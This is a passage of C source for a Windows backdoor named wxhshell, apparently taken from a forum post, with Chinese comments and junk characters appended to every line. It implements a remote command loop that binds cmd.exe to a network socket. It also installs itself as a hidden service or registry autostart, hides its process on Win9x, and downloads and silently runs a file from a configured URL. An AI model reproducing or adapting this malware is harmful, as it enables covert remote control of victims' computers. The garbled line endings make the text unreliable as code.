  else { P oEqurH0  
r=yK,d/1  
    switch(cmd[0]) { Ai D[SR  
  Fnk_\d6Ma  
  // 帮助 -{^}"N  
  case '?': { `eu9dLz H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >]o}}KF?  
    break; .0R v(Y  
  } s2j['g5  
  // 安装 ngj,x7t  
  case 'i': { )%!XSsY.N|  
    if(Install()) OL_{_K(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8M@BG8  
    else 0%!rx{f#\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :xKcpY[{  
    break; + [Hh,I7  
    } g$dsd^{O7  
  // 卸载 ;3_l@dP"  
  case 'r': { .z13 =yv  
    if(Uninstall()) 52upoU>}2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ sd;`xk  
    else qj cp65^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =^ T\Xs;GK  
    break; P{Q=mEQ  
    } FKe,qTqa  
  // 显示 wxhshell 所在路径 s;UH]  
  case 'p': { PRNoqi3sY  
    char svExeFile[MAX_PATH]; ~ %B<  
    strcpy(svExeFile,"\n\r"); v]B L[/4  
      strcat(svExeFile,ExeFile); ; S xFp  
        send(wsh,svExeFile,strlen(svExeFile),0); gm9mg*aM  
    break; yV)la@c  
    } i-yy/y-N  
  // 重启 @ P|LLG'  
  case 'b': { OFje+S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Bxmm#  
    if(Boot(REBOOT)) r! Ay :r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +a^F\8H  
    else { 5BBD.!  
    closesocket(wsh); /%lZu^  
    ExitThread(0);  |W<+U  
    } :$MG*/Q  
    break; *,BzcZ  
    } ktDC/8  
  // 关机 d GP*O  
  case 'd': { RCRpzY+@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tH'2gl   
    if(Boot(SHUTDOWN)) YJ(*wByM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tpuYiL  
    else { @29U@T  
    closesocket(wsh); |d6T/Uxo  
    ExitThread(0); :_M;E"9R  
    } =)|-?\[w  
    break; Q]p(u\*  
    } a#T]*(Yq)  
  // 获取shell Nan[<  
  case 's': { d\|!Hg,  
    CmdShell(wsh); %e&9.  
    closesocket(wsh); V ]90  
    ExitThread(0); OzC\9YeA  
    break; \=>H6x]q  
  } 3]?#he  
  // 退出 %Qk/_ R1   
  case 'x': { LkQX?2>]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O9:U8$*  
    CloseIt(wsh); u+{a8=  
    break; NY?;erX  
    } RoAlf+&Qb  
  // 离开 O#Wh TDF"  
  case 'q': { ZcYh) HD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]r_;dYa  
    closesocket(wsh); %u;~kP|S%  
    WSACleanup(); z2Z^~, i  
    exit(1); 7=(Hy\Q5xH  
    break; U4G`ZK v(!  
        } qY[xpm  
  } 41SGWAd#:  
  } ? R>h `  
fU!<HD h  
  // 提示信息 9uWY@zu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /> 4"~q)  
} "O(9m.CZ  
  } }pJwj  
"1, pHR-+R  
  return; 0T46sm r  
} 'fPdpnJ<  
r [ K5w  
// shell模块句柄 MX+ Z ?  
int CmdShell(SOCKET sock) ES40?o*]x  
{ w|Nz_3tI  
STARTUPINFO si; In[Cr/&/Y  
ZeroMemory(&si,sizeof(si)); #h/Mbj~S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O`vTnrY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zkf0p9h\  
PROCESS_INFORMATION ProcessInfo; DfKr[cqLM  
char cmdline[]="cmd"; `7H4Y&E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]n-:Yv5 W  
  return 0; 9Vf1Xz  
} o: ;"w"G  
0 Us5  
// 自身启动模式 Qqlup  
int StartFromService(void) cYqfsd# B  
{ ~jsLqY*(+  
typedef struct "9n3VX)  
{ $HJwb-I  
  DWORD ExitStatus; /@|/^vld  
  DWORD PebBaseAddress; f^VP/rdg  
  DWORD AffinityMask; KgR<E  
  DWORD BasePriority; 8n>9;D5n  
  ULONG UniqueProcessId; MQ"xOcD*F  
  ULONG InheritedFromUniqueProcessId; +5XpzZ{#Wa  
}   PROCESS_BASIC_INFORMATION; /B}lO0]:  
q/n,,!  
PROCNTQSIP NtQueryInformationProcess; Z> r^SWL  
FHV-BuH5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^+g$iM[`f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jRL<JZ1N  
H#ncM~y*  
  HANDLE             hProcess; L5,NP5RC  
  PROCESS_BASIC_INFORMATION pbi; P@FHnh3}Z$  
DY^;EZ!hb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0tU.(  
  if(NULL == hInst ) return 0; QV\eMuNy  
` Jdb;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~s5SZK*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RSo& (Uv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9:M` j  
<n#DT  
  if (!NtQueryInformationProcess) return 0; *BR^U$,e  
]KmO$4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "&3h2(#%  
  if(!hProcess) return 0; ~ yX2\i"  
&?(?vDFfZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +>PX&F  
6 :~v4W!k  
  CloseHandle(hProcess); )P+7PhE{J  
!50[z:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IC7M$  
if(hProcess==NULL) return 0; [Vma^B$7Vj  
,{mCf ^  
HMODULE hMod; ?Ec7" hK  
char procName[255]; f`Fi#EKT  
unsigned long cbNeeded; K>{T_){  
53[~bwD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YD7Oao4:o  
$ , u+4h  
  CloseHandle(hProcess); X*\ J_  
D"D<+ ;S#  
if(strstr(procName,"services")) return 1; // 以服务启动 /Sh#_\x  
6AhM=C  
  return 0; // 注册表启动 S;- LIv  
} ctGL-kp  
GN2Sn` ;  
// 主模块 lg&t8FHa;  
int StartWxhshell(LPSTR lpCmdLine) Nal9M[]c  
{ is-7 j7;  
  SOCKET wsl; zOiu5  
BOOL val=TRUE; 1Yn +<I  
  int port=0; pJtex^{!:  
  struct sockaddr_in door; 1 9CK+;b  
H/37)&$E(  
  if(wscfg.ws_autoins) Install(); X)% A6M  
[D4Es  
port=atoi(lpCmdLine); &mx)~J^m  
Dg?:/=,=9r  
if(port<=0) port=wscfg.ws_port; v'3J.?N  
 v%iflCK  
  WSADATA data; \:UIc*S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~W-PD  
Uw7h=UQh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c(~[$)i6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T]c%!&^ _  
  door.sin_family = AF_INET; 5wDg'X]>V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XD2v*l|Po  
  door.sin_port = htons(port); )'+8}T]xQ  
WA&!;Zq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #NryLE!/  
closesocket(wsl); _+E5T*dk  
return 1; ilqy /fL#  
} qO|R^De  
m*kl  
  if(listen(wsl,2) == INVALID_SOCKET) { |mw.qI|  
closesocket(wsl); =UfsL%  
return 1; W*I(f]8:y`  
} ?o|f':  
  Wxhshell(wsl); mmk=97  
  WSACleanup(); #iHs* /85  
Ev}C<zk*  
return 0; TJR:vr  
$[a8$VY^Cm  
} 0a XPPnuX  
 ^0 \  
// 以NT服务方式启动 Y<%@s}zc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aq@8"b(.  
{ '?p<lu^^B  
DWORD   status = 0; ", KCCis  
  DWORD   specificError = 0xfffffff; $cU!m(SILQ  
i=oU;7~zK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5l UF7:A>#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .0`m\~L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !'9Feoez  
  serviceStatus.dwWin32ExitCode     = 0; CmoE _8U>  
  serviceStatus.dwServiceSpecificExitCode = 0; v : OR   
  serviceStatus.dwCheckPoint       = 0; F}/S:(6LF2  
  serviceStatus.dwWaitHint       = 0; o9dY9o+Z  
/~$WUAh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  abfW[J  
  if (hServiceStatusHandle==0) return; IvtJ0  
_v> }_S  
status = GetLastError(); '|8} z4/g  
  if (status!=NO_ERROR) GE%Z9#E  
{ 3!|;iJRH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ud'-;W  
    serviceStatus.dwCheckPoint       = 0; ?q{ ,R"  
    serviceStatus.dwWaitHint       = 0; LQRQA[^  
    serviceStatus.dwWin32ExitCode     = status; 7 *`h/  
    serviceStatus.dwServiceSpecificExitCode = specificError; GQUe!G9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `3WFjU 5a  
    return; 4i(JZN?  
  } UKT%13CO4U  
aGtf z)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oF1,QQ^dg  
  serviceStatus.dwCheckPoint       = 0; D!Pq4'd(  
  serviceStatus.dwWaitHint       = 0; 0vD7v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _n50C"X=&(  
} sg3OL/"  
T^k7o^N>  
// 处理NT服务事件,比如:启动、停止 9Hb6nm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tne ST.  
{ !C3MFm{B  
switch(fdwControl) |es?;s'  
{ PuA9X[=  
case SERVICE_CONTROL_STOP: K1+)4!}%U  
  serviceStatus.dwWin32ExitCode = 0; BMG3|N^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xg;+<iW  
  serviceStatus.dwCheckPoint   = 0; YSic-6z0Ms  
  serviceStatus.dwWaitHint     = 0; lJ}_G>GJ  
  { q=Sgk>NA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Q fO8P  
  } e]$}-i@#  
  return; 1Vrh4g.l  
case SERVICE_CONTROL_PAUSE: y[)>yq y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?R$F)g7<  
  break; qzKdQ&vO  
case SERVICE_CONTROL_CONTINUE: 2db3I:;E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xy/`ZS2WPq  
  break; "!ug_'VW  
case SERVICE_CONTROL_INTERROGATE: V k  K  
  break; 8"2=U6*C  
}; Mb|a+,:>3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9.gXzP H  
} -$cmG4  
.ps-4eXF  
// 标准应用程序主函数 yW1)vD7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7XTkX"zKj  
{ 8hOk{xs8  
NV72  
// 获取操作系统版本 irFMmIb  
OsIsNt=GetOsVer(); *rs5]U<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c1k/UcEcg~  
M3c$=>  
  // 从命令行安装 e.7EU  
  if(strpbrk(lpCmdLine,"iI")) Install(); IEsEdw]aZE  
5 ZGNz1)?V  
  // 下载执行文件 8*#R]9  
if(wscfg.ws_downexe) { K1"*.\?F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `.~N4+SP  
  WinExec(wscfg.ws_filenam,SW_HIDE); -Ta9 pxZk  
} aQ?/%\>  
([T>.s  
if(!OsIsNt) { O`x;,6Vr  
// 如果时win9x,隐藏进程并且设置为注册表启动 /Y W>*?"N  
HideProc(); H]{v;;'~  
StartWxhshell(lpCmdLine); B(LWdap~  
} ~dgDO:)  
else \o}xF@sM5  
  if(StartFromService()) %p^wZtm  
  // 以服务方式启动 [YF>:ydk  
  StartServiceCtrlDispatcher(DispatchTable); Neq+16*u  
else tZ: _ag)o  
  // 普通方式启动 fHE <(  
  StartWxhshell(lpCmdLine); ?26I,:;  
bf ]f=;.+  
return 0; 8Wrh]egu1  
}
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只看该作者 1 发表于: 2006-10-10
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